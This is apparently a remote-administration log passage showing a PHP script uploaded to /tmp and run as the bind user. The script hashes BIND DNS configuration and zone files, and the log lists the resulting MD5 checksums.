MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 12:24:00: Establishing a connection
2026-04-24 12:24:00: 

PUT: /tmp/pkp725350

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 12:24:00: 

runuser -l bind -s /bin/bash -c '/tmp/pkp725350; rm /tmp/pkp725350'

2026-04-24 12:24:00: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 12:24:00: Establishing a connection
2026-04-24 12:24:01: 

PUT: /tmp/pkp371884

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 12:24:01: 

runuser -l bind -s /bin/bash -c '/tmp/pkp371884; rm /tmp/pkp371884'

2026-04-24 12:24:01: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
